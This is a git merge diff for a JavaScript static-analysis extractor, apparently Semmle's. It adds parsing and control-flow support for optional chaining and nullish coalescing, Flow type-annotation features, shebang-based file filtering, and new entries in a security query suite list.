Merge remote-tracking branch 'upstream/next' into qlucie/master

This commit is contained in:
Max Schaefer
2019-01-04 10:35:57 +00:00
2357 changed files with 143173 additions and 20625 deletions

View File

@@ -10,6 +10,7 @@
+ semmlecode-javascript-queries/Security/CWE-079/Xss.ql: /Security/CWE/CWE-079
+ semmlecode-javascript-queries/Security/CWE-089/SqlInjection.ql: /Security/CWE/CWE-089
+ semmlecode-javascript-queries/Security/CWE-094/CodeInjection.ql: /Security/CWE/CWE-094
+ semmlecode-javascript-queries/Security/CWE-094/UnsafeDynamicMethodAccess.ql: /Security/CWE/CWE-094
+ semmlecode-javascript-queries/Security/CWE-116/IncompleteSanitization.ql: /Security/CWE/CWE-116
+ semmlecode-javascript-queries/Security/CWE-116/DoubleEscaping.ql: /Security/CWE/CWE-116
+ semmlecode-javascript-queries/Security/CWE-134/TaintedFormatString.ql: /Security/CWE/CWE-134
@@ -23,12 +24,14 @@
+ semmlecode-javascript-queries/Security/CWE-352/MissingCsrfMiddleware.ql: /Security/CWE/CWE-352
+ semmlecode-javascript-queries/Security/CWE-400/RemotePropertyInjection.ql: /Security/CWE/CWE-400
+ semmlecode-javascript-queries/Security/CWE-502/UnsafeDeserialization.ql: /Security/CWE/CWE-502
+ semmlecode-javascript-queries/Security/CWE-506/HardcodedDataInterpretedAsCode.ql: /Security/CWE/CWE-506
+ semmlecode-javascript-queries/Security/CWE-601/ClientSideUrlRedirect.ql: /Security/CWE/CWE-601
+ semmlecode-javascript-queries/Security/CWE-601/ServerSideUrlRedirect.ql: /Security/CWE/CWE-601
+ semmlecode-javascript-queries/Security/CWE-611/Xxe.ql: /Security/CWE/CWE-611
+ semmlecode-javascript-queries/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql: /Security/CWE/CWE-640
+ semmlecode-javascript-queries/Security/CWE-643/XpathInjection.ql: /Security/CWE/CWE-643
+ semmlecode-javascript-queries/Security/CWE-730/RegExpInjection.ql: /Security/CWE/CWE-730
+ semmlecode-javascript-queries/Security/CWE-754/UnvalidatedDynamicMethodCall.ql: /Security/CWE/CWE-754
+ semmlecode-javascript-queries/Security/CWE-770/MissingRateLimiting.ql: /Security/CWE/CWE-770
+ semmlecode-javascript-queries/Security/CWE-776/XmlBomb.ql: /Security/CWE/CWE-776
+ semmlecode-javascript-queries/Security/CWE-798/HardcodedCredentials.ql: /Security/CWE/CWE-798

View File

@@ -153,7 +153,7 @@ public class CustomParser extends FlowParser {
Identifier name = this.parseIdent(true);
this.expect(TokenType.parenL);
List<Expression> args = this.parseExprList(TokenType.parenR, false, false, null);
CallExpression node = new CallExpression(new SourceLocation(startLoc), name, new ArrayList<>(), args);
CallExpression node = new CallExpression(new SourceLocation(startLoc), name, new ArrayList<>(), args, false, false);
return this.finishNode(node);
} else {
return super.parseExprAtom(refDestructuringErrors);
@@ -212,7 +212,7 @@ public class CustomParser extends FlowParser {
* A.f = function f(...) { ... };
*/
SourceLocation memloc = new SourceLocation(iface.getName() + "::" + id.getName(), iface.getLoc().getStart(), id.getLoc().getEnd());
MemberExpression mem = new MemberExpression(memloc, iface, new Identifier(id.getLoc(), id.getName()), false);
MemberExpression mem = new MemberExpression(memloc, iface, new Identifier(id.getLoc(), id.getName()), false, false, false);
AssignmentExpression assgn = new AssignmentExpression(result.getLoc(), "=", mem, ((FunctionDeclaration)result).asFunctionExpression());
return new ExpressionStatement(result.getLoc(), assgn);
}

View File

@@ -29,6 +29,7 @@ import com.semmle.js.ast.BlockStatement;
import com.semmle.js.ast.BreakStatement;
import com.semmle.js.ast.CallExpression;
import com.semmle.js.ast.CatchClause;
import com.semmle.js.ast.Chainable;
import com.semmle.js.ast.ClassBody;
import com.semmle.js.ast.ClassDeclaration;
import com.semmle.js.ast.ClassExpression;
@@ -504,6 +505,18 @@ public class Parser {
}
}
private Token readToken_question() { // '?'
int next = charAt(this.pos + 1);
int next2 = charAt(this.pos + 2);
if (this.options.esnext()) {
if (next == '.' && !('0' <= next2 && next2 <= '9')) // '?.', but not '?.X' where X is a digit
return this.finishOp(TokenType.questiondot, 2);
if (next == '?') // '??'
return this.finishOp(TokenType.questionquestion, 2);
}
return this.finishOp(TokenType.question, 1);
}
private Token readToken_slash() { // '/'
int next = charAt(this.pos + 1);
if (this.exprAllowed) {
@@ -616,7 +629,7 @@ public class Parser {
case 123: ++this.pos; return this.finishToken(TokenType.braceL);
case 125: ++this.pos; return this.finishToken(TokenType.braceR);
case 58: ++this.pos; return this.finishToken(TokenType.colon);
case 63: ++this.pos; return this.finishToken(TokenType.question);
case 63: return this.readToken_question();
case 96: // '`'
if (this.options.ecmaVersion() < 6) break;
@@ -1465,17 +1478,19 @@ public class Parser {
}
}
private boolean isOnOptionalChain(boolean optional, Expression base) {
return optional || base instanceof Chainable && ((Chainable)base).isOnOptionalChain();
}
/**
* Parse a single subscript {@code s}; if more subscripts could follow, return {@code Pair.make(s, true},
* otherwise return {@code Pair.make(s, false)}.
*/
protected Pair<Expression, Boolean> parseSubscript(final Expression base, Position startLoc, boolean noCalls) {
boolean maybeAsyncArrow = this.options.ecmaVersion() >= 8 && base instanceof Identifier && "async".equals(((Identifier) base).getName()) && !this.canInsertSemicolon();
if (this.eat(TokenType.dot)) {
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseIdent(true), false);
return Pair.make(this.finishNode(node), true);
} else if (this.eat(TokenType.bracketL)) {
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseExpression(false, null), true);
boolean optional = this.eat(TokenType.questiondot);
if (this.eat(TokenType.bracketL)) {
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseExpression(false, null), true, optional, isOnOptionalChain(optional, base));
this.expect(TokenType.bracketR);
return Pair.make(this.finishNode(node), true);
} else if (!noCalls && this.eat(TokenType.parenL)) {
@@ -1494,11 +1509,17 @@ public class Parser {
this.checkExpressionErrors(refDestructuringErrors, true);
if (oldYieldPos > 0) this.yieldPos = oldYieldPos;
if (oldAwaitPos > 0) this.awaitPos = oldAwaitPos;
CallExpression node = new CallExpression(new SourceLocation(startLoc), base, new ArrayList<>(), exprList);
CallExpression node = new CallExpression(new SourceLocation(startLoc), base, new ArrayList<>(), exprList, optional, isOnOptionalChain(optional, base));
return Pair.make(this.finishNode(node), true);
} else if (this.type == TokenType.backQuote) {
if (isOnOptionalChain(optional, base)) {
this.raise(base, "An optional chain may not be used in a tagged template expression.");
}
TaggedTemplateExpression node = new TaggedTemplateExpression(new SourceLocation(startLoc), base, this.parseTemplate(true));
return Pair.make(this.finishNode(node), true);
} else if (optional || this.eat(TokenType.dot)) {
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseIdent(true), false, optional, isOnOptionalChain(optional, base));
return Pair.make(this.finishNode(node), true);
} else {
return Pair.make(base, false);
}
@@ -1719,6 +1740,10 @@ public class Parser {
int innerStartPos = this.start;
Position innerStartLoc = this.startLoc;
Expression callee = this.parseSubscripts(this.parseExprAtom(null), innerStartPos, innerStartLoc, true);
if (isOnOptionalChain(false, callee))
this.raise(callee, "An optional chain may not be used in a `new` expression.");
List<Expression> arguments;
if (this.eat(TokenType.parenL))
arguments = this.parseExprList(TokenType.parenR, this.options.ecmaVersion() >= 8, false, null);
@@ -2159,9 +2184,12 @@ public class Parser {
return new ParenthesizedExpression(node.getLoc(), (Expression) this.toAssignable(expr, isBinding));
}
if (node instanceof MemberExpression)
if (node instanceof MemberExpression) {
if (isOnOptionalChain(false, (MemberExpression)node))
this.raise(node, "Invalid left-hand side in assignment");
if (!isBinding)
return node;
}
this.raise(node, "Assigning to rvalue");
}
@@ -3016,6 +3044,10 @@ public class Parser {
return parseClassPropertyBody(pi, hadConstructor, isStatic);
}
protected boolean atGetterSetterName(PropertyInfo pi) {
return !pi.isGenerator && !pi.isAsync && pi.key instanceof Identifier && this.type != TokenType.parenL && (((Identifier) pi.key).getName().equals("get") || ((Identifier) pi.key).getName().equals("set"));
}
/**
* Parse a method declaration in a class, assuming that its name has already been consumed.
*/
@@ -3023,7 +3055,7 @@ public class Parser {
pi.kind = "method";
boolean isGetSet = false;
if (!pi.computed) {
if (!pi.isGenerator && !pi.isAsync && pi.key instanceof Identifier && this.type != TokenType.parenL && (((Identifier) pi.key).getName().equals("get") || ((Identifier) pi.key).getName().equals("set"))) {
if (atGetterSetterName(pi)) {
isGetSet = true;
pi.kind = ((Identifier) pi.key).getName();
this.parsePropertyName(pi);

View File

@@ -76,6 +76,7 @@ public class TokenType {
semi = new TokenType(new Properties(";").beforeExpr()),
colon = new TokenType(new Properties(":").beforeExpr()),
dot = new TokenType(new Properties(".")),
questiondot = new TokenType(new Properties("?.")),
question = new TokenType(new Properties("?").beforeExpr()),
arrow = new TokenType(new Properties("=>").beforeExpr()),
template = new TokenType(new Properties("template")),
@@ -122,6 +123,7 @@ public class TokenType {
}
},
prefix = new TokenType(new Properties("prefix").beforeExpr().prefix().startsExpr()),
questionquestion = new TokenType(binop("??", 1)),
logicalOR = new TokenType(binop("||", 1)),
logicalAND = new TokenType(binop("&&", 2)),
bitwiseOR = new TokenType(binop("|", 3)),

View File

@@ -146,6 +146,10 @@ public class FlowParser extends ESNextParser {
boolean oldInType = inType;
inType = true;
this.expect(tok == null ? TokenType.colon : tok);
if (this.type == TokenType.modulo) {// an annotation like '%checks' without a preceeding type
inType = oldInType;
return;
}
if (allowLeadingPipeOrAnd) {
if (this.type == TokenType.bitwiseAND || this.type == TokenType.bitwiseOR) {
this.next();
@@ -223,14 +227,29 @@ public class FlowParser extends ESNextParser {
while (this.type != TokenType.braceR) {
Position stmtStart = startLoc;
// todo: declare check
this.next();
if (this.eat(TokenType._import)) {
this.flowParseDeclareImport(stmtStart);
} else {
// todo: declare check
this.next();
this.flowParseDeclare(stmtStart);
this.flowParseDeclare(stmtStart);
}
}
this.expect(TokenType.braceR);
}
private void flowParseDeclareImport(Position stmtStart) {
String kind = flowParseImportSpecifiers();
if (kind == null) {
this.raise(stmtStart, "Imports within a `declare module` body must always be `import type` or `import typeof`.");
}
this.expect(TokenType.name);
this.expectContextual("from");
this.expect(TokenType.string);
this.semicolon();
}
private void flowParseDeclareModuleExports() {
this.expectContextual("module");
this.expect(TokenType.dot);
@@ -737,7 +756,7 @@ public class FlowParser extends ESNextParser {
private void flowParsePostfixType() {
this.flowParsePrimaryType();
if (this.type == TokenType.bracketL) {
while (this.type == TokenType.bracketL) {
this.expect(TokenType.bracketL);
this.expect(TokenType.bracketR);
}
@@ -807,11 +826,20 @@ public class FlowParser extends ESNextParser {
// if allowExpression is true then we're parsing an arrow function and if
// there's a return type then it's been handled elsewhere
this.flowParseTypeAnnotation();
this.flowParseChecksAnnotation();
}
return super.parseFunctionBody(id, params, isArrowFunction);
}
private void flowParseChecksAnnotation() {
// predicate functions with the special '%checks' annotation
if (this.type == TokenType.modulo && lookaheadIsIdent("checks", true)) {
this.next();
this.next();
}
}
// interfaces
@Override
protected Statement parseStatement(boolean declaration, boolean topLevel, Set<String> exports) {
@@ -975,24 +1003,30 @@ public class FlowParser extends ESNextParser {
return param;
}
private String flowParseImportSpecifiers() {
String kind = null;
if (this.type == TokenType._typeof) {
kind = "typeof";
} else if (this.isContextual("type")) {
kind = "type";
}
if (kind != null) {
String lh = lookahead(4);
if (!lh.isEmpty()) {
int c = lh.codePointAt(0);
if ((Identifiers.isIdentifierStart(c, true) && !"from".equals(lh)) || c == '{' || c == '*') {
this.next();
}
}
}
return kind;
}
@Override
protected List<ImportSpecifier> parseImportSpecifiers() {
String kind = null;
if (flow()) {
if (this.type == TokenType._typeof) {
kind = "typeof";
} else if (this.isContextual("type")) {
kind = "type";
}
if (kind != null) {
String lh = lookahead(4);
if (!lh.isEmpty()) {
int c = lh.codePointAt(0);
if ((Identifiers.isIdentifierStart(c, true) && !"from".equals(lh)) || c == '{' || c == '*') {
this.next();
}
}
}
kind = flowParseImportSpecifiers();
}
List<ImportSpecifier> specs = super.parseImportSpecifiers();
@@ -1102,6 +1136,7 @@ public class FlowParser extends ESNextParser {
boolean oldNoAnonFunctionType = noAnonFunctionType;
noAnonFunctionType = true;
flowParseTypeAnnotation();
flowParseChecksAnnotation();
noAnonFunctionType = oldNoAnonFunctionType;
if (this.type != TokenType.arrow)
unexpected();
@@ -1158,4 +1193,12 @@ public class FlowParser extends ESNextParser {
this.eat(TokenType.plusMin);
super.parsePropertyName(result);
}
@Override
protected boolean atGetterSetterName(PropertyInfo pi) {
if (flow() && this.isRelational("<"))
return false;
return super.atGetterSetterName(pi);
}
}

View File

@@ -215,6 +215,7 @@ public class AST2JSON extends DefaultVisitor<Void, JsonElement> {
JsonObject result = this.mkNode(nd);
result.add("callee", visit(nd.getCallee()));
result.add("arguments", visit(nd.getArguments()));
result.add("optional", new JsonPrimitive(nd.isOptional()));
return result;
}
@@ -424,6 +425,7 @@ public class AST2JSON extends DefaultVisitor<Void, JsonElement> {
result.add("object", visit(nd.getObject()));
result.add("property", visit(nd.getProperty()));
result.add("computed", new JsonPrimitive(nd.isComputed()));
result.add("optional", new JsonPrimitive(nd.isOptional()));
return result;
}

View File

@@ -8,8 +8,8 @@ import com.semmle.ts.ast.ITypeExpression;
* A function call expression such as <code>f(1, 1)</code>.
*/
public class CallExpression extends InvokeExpression {
public CallExpression(SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments, List<Expression> arguments) {
super("CallExpression", loc, callee, typeArguments, arguments);
public CallExpression(SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments, List<Expression> arguments, Boolean optional, Boolean onOptionalChain) {
super("CallExpression", loc, callee, typeArguments, arguments, optional, onOptionalChain);
}
@Override

View File

@@ -0,0 +1,16 @@
package com.semmle.js.ast;
/**
* A chainable expression, such as a member access or function call.
*/
public interface Chainable {
/**
* Is this step of the chain optional?
*/
abstract boolean isOptional();
/**
* Is this on an optional chain?
*/
abstract boolean isOnOptionalChain();
}

View File

@@ -8,20 +8,24 @@ import com.semmle.ts.ast.ITypeExpression;
/**
* An invocation, that is, either a {@link CallExpression} or a {@link NewExpression}.
*/
public abstract class InvokeExpression extends Expression implements INodeWithSymbol {
public abstract class InvokeExpression extends Expression implements INodeWithSymbol, Chainable {
private final Expression callee;
private final List<ITypeExpression> typeArguments;
private final List<Expression> arguments;
private final boolean optional;
private final boolean onOptionalChain;
private int resolvedSignatureId = -1;
private int overloadIndex = -1;
private int symbol = -1;
public InvokeExpression(String type, SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments,
List<Expression> arguments) {
List<Expression> arguments, Boolean optional, Boolean onOptionalChain) {
super(type, loc);
this.callee = callee;
this.typeArguments = typeArguments;
this.arguments = arguments;
this.optional = optional == Boolean.TRUE;
this.onOptionalChain = onOptionalChain == Boolean.TRUE;
}
/**
@@ -45,6 +49,16 @@ public abstract class InvokeExpression extends Expression implements INodeWithSy
return arguments;
}
@Override
public boolean isOptional() {
return optional;
}
@Override
public boolean isOnOptionalChain() {
return onOptionalChain;
}
public int getResolvedSignatureId() {
return resolvedSignatureId;
}
@@ -70,4 +84,4 @@ public abstract class InvokeExpression extends Expression implements INodeWithSy
public void setSymbol(int symbol) {
this.symbol = symbol;
}
}
}

View File

@@ -6,16 +6,20 @@ import com.semmle.ts.ast.ITypeExpression;
/**
* A member expression, either computed (<code>e[f]</code>) or static (<code>e.f</code>).
*/
public class MemberExpression extends Expression implements ITypeExpression, INodeWithSymbol {
public class MemberExpression extends Expression implements ITypeExpression, INodeWithSymbol, Chainable {
private final Expression object, property;
private final boolean computed;
private final boolean optional;
private final boolean onOptionalChain;
private int symbol = -1;
public MemberExpression(SourceLocation loc, Expression object, Expression property, Boolean computed) {
public MemberExpression(SourceLocation loc, Expression object, Expression property, Boolean computed, Boolean optional, Boolean onOptionalChain) {
super("MemberExpression", loc);
this.object = object;
this.property = property;
this.computed = computed == Boolean.TRUE;
this.optional = optional == Boolean.TRUE;
this.onOptionalChain = onOptionalChain == Boolean.TRUE;
}
@Override
@@ -45,6 +49,16 @@ public class MemberExpression extends Expression implements ITypeExpression, INo
return computed;
}
@Override
public boolean isOptional() {
return optional;
}
@Override
public boolean isOnOptionalChain() {
return onOptionalChain;
}
@Override
public int getSymbol() {
return symbol;

View File

@@ -9,7 +9,7 @@ import com.semmle.ts.ast.ITypeExpression;
*/
public class NewExpression extends InvokeExpression {
public NewExpression(SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments, List<Expression> arguments) {
super("NewExpression", loc, callee, typeArguments, arguments);
super("NewExpression", loc, callee, typeArguments, arguments, false, false);
}
@Override

View File

@@ -97,7 +97,7 @@ public class NodeCopier implements Visitor<Void, INode> {
@Override
public CallExpression visit(CallExpression nd, Void q) {
return new CallExpression(visit(nd.getLoc()), copy(nd.getCallee()), copy(nd.getTypeArguments()), copy(nd.getArguments()));
return new CallExpression(visit(nd.getLoc()), copy(nd.getCallee()), copy(nd.getTypeArguments()), copy(nd.getArguments()), nd.isOptional(), nd.isOnOptionalChain());
}
@Override
@@ -140,7 +140,7 @@ public class NodeCopier implements Visitor<Void, INode> {
@Override
public MemberExpression visit(MemberExpression nd, Void q) {
return new MemberExpression(visit(nd.getLoc()), copy(nd.getObject()), copy(nd.getProperty()), nd.isComputed());
return new MemberExpression(visit(nd.getLoc()), copy(nd.getObject()), copy(nd.getProperty()), nd.isComputed(), nd.isOptional(), nd.isOnOptionalChain());
}
@Override

View File

@@ -405,6 +405,9 @@ public class ASTExtractor {
if (nd.getOverloadIndex() != -1) {
trapwriter.addTuple("invoke_expr_overload_index", key, nd.getOverloadIndex());
}
if (nd.isOptional()) {
trapwriter.addTuple("isOptionalChaining", key);
}
emitNodeSymbol(nd, key);
return key;
}
@@ -531,6 +534,9 @@ public class ASTExtractor {
visit(nd.getObject(), key, 0, baseIdContext);
visit(nd.getProperty(), key, 1, nd.isComputed() ? IdContext.varBind : IdContext.label);
}
if (nd.isOptional()) {
trapwriter.addTuple("isOptionalChaining", key);
}
return key;
}
@@ -1245,7 +1251,7 @@ public class ASTExtractor {
Super superExpr = new Super(fakeLoc("super", loc));
CallExpression superCall = new CallExpression(
fakeLoc("super(...args)", loc),
superExpr, new ArrayList<>(), CollectionUtil.makeList(spreadArgs));
superExpr, new ArrayList<>(), CollectionUtil.makeList(spreadArgs), false, false);
ExpressionStatement superCallStmt = new ExpressionStatement(
fakeLoc("super(...args);", loc), superCall);
body.getBody().add(superCallStmt);

View File

@@ -31,13 +31,13 @@ import com.semmle.js.parser.TypeScriptParser;
import com.semmle.ts.extractor.TypeExtractor;
import com.semmle.ts.extractor.TypeTable;
import com.semmle.util.data.StringUtil;
import com.semmle.util.defect.Language;
import com.semmle.util.exception.Exceptions;
import com.semmle.util.exception.ResourceError;
import com.semmle.util.exception.UserError;
import com.semmle.util.extraction.ExtractorOutputConfig;
import com.semmle.util.files.FileUtil;
import com.semmle.util.io.csv.CSVReader;
import com.semmle.util.language.LegacyLanguage;
import com.semmle.util.process.Env;
import com.semmle.util.projectstructure.ProjectLayout;
import com.semmle.util.trap.TrapWriter;
@@ -179,7 +179,7 @@ public class AutoBuild {
public AutoBuild() {
this.LGTM_SRC = toRealPath(getPathFromEnvVar("LGTM_SRC"));
this.SEMMLE_DIST = getPathFromEnvVar(Env.Var.SEMMLE_DIST.toString());
this.outputConfig = new ExtractorOutputConfig(Language.JAVASCRIPT);
this.outputConfig = new ExtractorOutputConfig(LegacyLanguage.JAVASCRIPT);
this.trapCache = mkTrapCache();
this.typeScriptMode = getEnumFromEnvVar("LGTM_INDEX_TYPESCRIPT", TypeScriptMode.class, TypeScriptMode.BASIC);
this.defaultEncoding = getEnvVar("LGTM_INDEX_DEFAULT_ENCODING");

View File

@@ -24,6 +24,7 @@ import com.semmle.js.ast.BlockStatement;
import com.semmle.js.ast.BreakStatement;
import com.semmle.js.ast.CallExpression;
import com.semmle.js.ast.CatchClause;
import com.semmle.js.ast.Chainable;
import com.semmle.js.ast.ClassBody;
import com.semmle.js.ast.ClassDeclaration;
import com.semmle.js.ast.ClassExpression;
@@ -330,9 +331,11 @@ public class CFGExtractor {
return nd.getKey().accept(this, v);
}
// for binary operators, the operands come first (but not for LogicalExpression, see above)
// for binary operators, the operands come first (but not for short-circuiting expressions), see above)
@Override
public Node visit(BinaryExpression nd, Void v) {
if ("??".equals(nd.getOperator()))
return nd;
return nd.getLeft().accept(this, v);
}
@@ -776,6 +779,9 @@ public class CFGExtractor {
// cache the set of normal control flow successors
private final Map<Node, Object> followingCache = new LinkedHashMap<Node, Object>();
// map from a node in a chain of property accesses or calls to the successor info for the first node in the chain
private final Map<Chainable, SuccessorInfo> chainRootSuccessors = new LinkedHashMap<Chainable, SuccessorInfo>();
/**
* Generate entry node.
*/
@@ -1579,8 +1585,16 @@ public class CFGExtractor {
@Override
public Void visit(BinaryExpression nd, SuccessorInfo i) {
this.seq(nd.getLeft(), nd.getRight(), nd);
succ(nd, i.getGuardedSuccessors(nd));
if ("??".equals(nd.getOperator())) {
// the nullish coalescing operator is short-circuiting, but we do not add guards for it
succ(nd, First.of(nd.getLeft()));
Object leftSucc = union(First.of(nd.getRight()), i.getAllSuccessors()); // short-circuiting happens with both truthy and falsy values
visit(nd.getLeft(), leftSucc, null);
nd.getRight().accept(this, i);
} else {
this.seq(nd.getLeft(), nd.getRight(), nd);
succ(nd, i.getGuardedSuccessors(nd));
}
return null;
}
@@ -1637,16 +1651,36 @@ public class CFGExtractor {
return null;
}
private void preVisitChainable(Chainable chainable, Expression base, SuccessorInfo i) {
if (!chainable.isOnOptionalChain()) // optimization: bookkeeping is only needed for optional chains
return;
// start of chain
chainRootSuccessors.putIfAbsent(chainable, i);
// next step in chain
if (base instanceof Chainable)
chainRootSuccessors.put((Chainable)base, chainRootSuccessors.get(chainable));
}
private void postVisitChainable(Chainable chainable, Expression base, boolean optional) {
if (optional) {
succ(base, chainRootSuccessors.get(chainable).getSuccessors(false));
}
chainRootSuccessors.remove(chainable);
}
@Override
public Void visit(MemberExpression nd, SuccessorInfo i) {
preVisitChainable(nd, nd.getObject(), i);
seq(nd.getObject(), nd.getProperty(), nd);
// property accesses may throw
succ(nd, union(this.findTarget(JumpType.THROW, null), i.getGuardedSuccessors(nd)));
postVisitChainable(nd, nd.getObject(), nd.isOptional());
return null;
}
@Override
public Void visit(InvokeExpression nd, SuccessorInfo i) {
preVisitChainable(nd, nd.getCallee(), i);
seq(nd.getCallee(), nd.getArguments(), nd);
Object succs = i.getGuardedSuccessors(nd);
if (nd instanceof CallExpression && nd.getCallee() instanceof Super && !instanceFields.isEmpty()) {
@@ -1660,6 +1694,7 @@ public class CFGExtractor {
}
// calls may throw
succ(nd, union(this.findTarget(JumpType.THROW, null), succs));
postVisitChainable(nd, nd.getCallee(), nd.isOptional());
return null;
}

View File

@@ -72,6 +72,7 @@ public class ExprKinds {
binOpKinds.put("&=", 58);
binOpKinds.put("**", 87);
binOpKinds.put("**=", 88);
binOpKinds.put("??", 107);
}
private static final Map<String, Integer> unOpKinds = new LinkedHashMap<String, Integer>();

View File

@@ -5,6 +5,7 @@ import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.LinkedHashSet;
import java.util.Set;
import java.util.regex.Pattern;
@@ -38,6 +39,11 @@ public class FileExtractor {
*/
public static final Pattern JSON_OBJECT_START = Pattern.compile("^(?s)\\s*\\{\\s*\"([^\"]|\\\\.)*\"\\s*:.*");
/**
* The charset for decoding UTF-8 strings.
*/
private static final Charset UTF8_CHARSET = Charset.forName("UTF-8");
/**
* Information about supported file types.
*/
@@ -169,6 +175,11 @@ public class FileExtractor {
if (isXml(bytes, length))
return true;
// Avoid files with an unrecognized shebang header.
if (hasUnrecognizedShebang(bytes, length)) {
return true;
}
return false;
} catch (IOException e) {
Exceptions.ignore(e, "Let extractor handle this one.");
@@ -249,6 +260,38 @@ public class FileExtractor {
return false;
}
/**
* Returns true if the byte sequence starts with a shebang line that is not
* recognized as a JavaScript interpreter.
*/
private boolean hasUnrecognizedShebang(byte[] bytes, int length) {
// Shebangs preceded by a BOM aren't recognized in UNIX, but the BOM might only
// be present in the source file, to be stripped out in the build process.
int startIndex = skipBOM(bytes, length);
if (startIndex + 2 >= length) return false;
if (bytes[startIndex] != '#' || bytes[startIndex + 1] != '!') {
return false;
}
int endOfLine = -1;
for (int i = startIndex; i < length; ++i) {
if (bytes[i] == '\r' || bytes[i] == '\n') {
endOfLine = i;
break;
}
}
if (endOfLine == -1) {
// The shebang is either very long or there are no other lines in the file.
// Treat this as unrecognized.
return true;
}
// Extract the shebang text
int startOfText = startIndex + "#!".length();
int lengthOfText = endOfLine - startOfText;
String text = new String(bytes, startOfText, lengthOfText, UTF8_CHARSET);
// Check if the shebang is a recognized JavaScript intepreter.
return !NODE_INVOCATION.matcher(text).find();
}
@Override
public IExtractor mkExtractor(ExtractorConfig config, ExtractorState state) {
return new TypeScriptExtractor(config, state.getTypeScriptParser());

View File

@@ -17,17 +17,17 @@ import com.semmle.js.extractor.trapcache.DummyTrapCache;
import com.semmle.js.extractor.trapcache.ITrapCache;
import com.semmle.js.parser.ParsedProject;
import com.semmle.js.parser.TypeScriptParser;
import com.semmle.ts.extractor.TypeTable;
import com.semmle.ts.extractor.TypeExtractor;
import com.semmle.ts.extractor.TypeTable;
import com.semmle.util.data.StringUtil;
import com.semmle.util.data.UnitParser;
import com.semmle.util.defect.Language;
import com.semmle.util.exception.ResourceError;
import com.semmle.util.exception.UserError;
import com.semmle.util.extraction.ExtractorOutputConfig;
import com.semmle.util.files.FileUtil;
import com.semmle.util.files.PathMatcher;
import com.semmle.util.io.WholeIO;
import com.semmle.util.language.LegacyLanguage;
import com.semmle.util.process.ArgsParser;
import com.semmle.util.process.ArgsParser.FileMode;
import com.semmle.util.trap.TrapWriter;
@@ -41,7 +41,7 @@ public class Main {
* such a way that it may produce different tuples for the same file under the same
* {@link ExtractorConfig}.
*/
public static final String EXTRACTOR_VERSION = "2018-11-12";
public static final String EXTRACTOR_VERSION = "2018-12-19";
public static final Pattern NEWLINE = Pattern.compile("\n");
@@ -461,7 +461,7 @@ public class Main {
public static void main(String[] args) {
try {
new Main(new ExtractorOutputConfig(Language.JAVASCRIPT)).run(args);
new Main(new ExtractorOutputConfig(LegacyLanguage.JAVASCRIPT)).run(args);
} catch (UserError e) {
System.err.println(e.getMessage());
if (!e.reportAsInfoMessage())

View File

@@ -4,6 +4,9 @@ import java.io.File;
import java.io.StringWriter;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Map.Entry;
@@ -40,7 +43,9 @@ public class TrapTests {
List<Object[]> testData = new ArrayList<Object[]>();
// iterate over all test groups
for (String testgroup : BASE.list()) {
List<String> testGroups = Arrays.asList(BASE.list());
testGroups.sort(Comparator.naturalOrder());
for (String testgroup : testGroups) {
File root = new File(BASE, testgroup);
if (root.isDirectory()) {
// check for options.json file and process it if it exists
@@ -78,7 +83,9 @@ public class TrapTests {
testData.add(new Object[] { testgroup, "tsconfig", new ArrayList<String>(options) });
} else {
// create isolated tests for each input file in the group
for (String testfile : inputDir.list()) {
List<String> tests = Arrays.asList(inputDir.list());
tests.sort(Comparator.naturalOrder());
for (String testfile : tests) {
testData.add(new Object[] { testgroup, testfile, new ArrayList<String>(options) });
}
}
@@ -149,7 +156,13 @@ public class TrapTests {
// convert to and from UTF-8 to mimick treatment of unencodable characters
byte[] actual_utf8_bytes = StringUtil.stringToBytes(sw.toString());
String actual = new String(actual_utf8_bytes, Charset.forName("UTF-8"));
String expected = new WholeIO().strictreadText(new File(outputDir, f.getName() + ".trap"));
File trap = new File(outputDir, f.getName() + ".trap");
boolean replaceExpectedOutput = false;
if (replaceExpectedOutput) {
System.out.println("Replacing expected output for " + trap);
new WholeIO().strictwrite(trap, actual);
}
String expected = new WholeIO().strictreadText(trap);
expectedVsActual.add(Pair.make(expected, actual));
}
};

View File

@@ -60,6 +60,7 @@ import com.semmle.js.ast.ImportSpecifier;
import com.semmle.js.ast.InvokeExpression;
import com.semmle.js.ast.LabeledStatement;
import com.semmle.js.ast.Literal;
import com.semmle.js.ast.LogicalExpression;
import com.semmle.js.ast.MemberDefinition;
import com.semmle.js.ast.MemberExpression;
import com.semmle.js.ast.DeclarationFlags;
@@ -825,8 +826,9 @@ public class TypeScriptASTConverter {
Expression left = convertChild(node, "left");
Expression right = convertChild(node, "right");
JsonObject operatorToken = node.get("operatorToken").getAsJsonObject();
String operatorKind = getKind(operatorToken);
if ("CommaToken".equals(operatorKind)) {
String operator = getSourceLocation(operatorToken).getSource();
switch (operator) {
case ",":
List<Expression> expressions = new ArrayList<Expression>();
if (left instanceof SequenceExpression)
expressions.addAll(((SequenceExpression) left).getExpressions());
@@ -837,10 +839,30 @@ public class TypeScriptASTConverter {
else
expressions.add(right);
return new SequenceExpression(loc, expressions);
} else {
String operator = getSourceLocation(operatorToken).getSource();
if ("EqualsToken".equals(operatorKind))
left = convertLValue(left);
case "||":
case "&&":
return new LogicalExpression(loc, operator, left, right);
case "=":
left = convertLValue(left); // For plain assignments, the lhs can be a destructuring pattern.
return new AssignmentExpression(loc, operator, left, right);
case "+=":
case "-=":
case "*=":
case "**=":
case "/=":
case "%=":
case "^=":
case "&=":
case "|=":
case ">>=":
case "<<=":
case ">>>=":
return new AssignmentExpression(loc, operator, convertLValue(left), right);
default:
return new BinaryExpression(loc, operator, left, right);
}
}
@@ -860,7 +882,7 @@ public class TypeScriptASTConverter {
}
Expression callee = convertChild(node, "expression");
List<ITypeExpression> typeArguments = convertChildrenAsTypes(node, "typeArguments");
CallExpression call = new CallExpression(loc, callee, typeArguments, arguments);
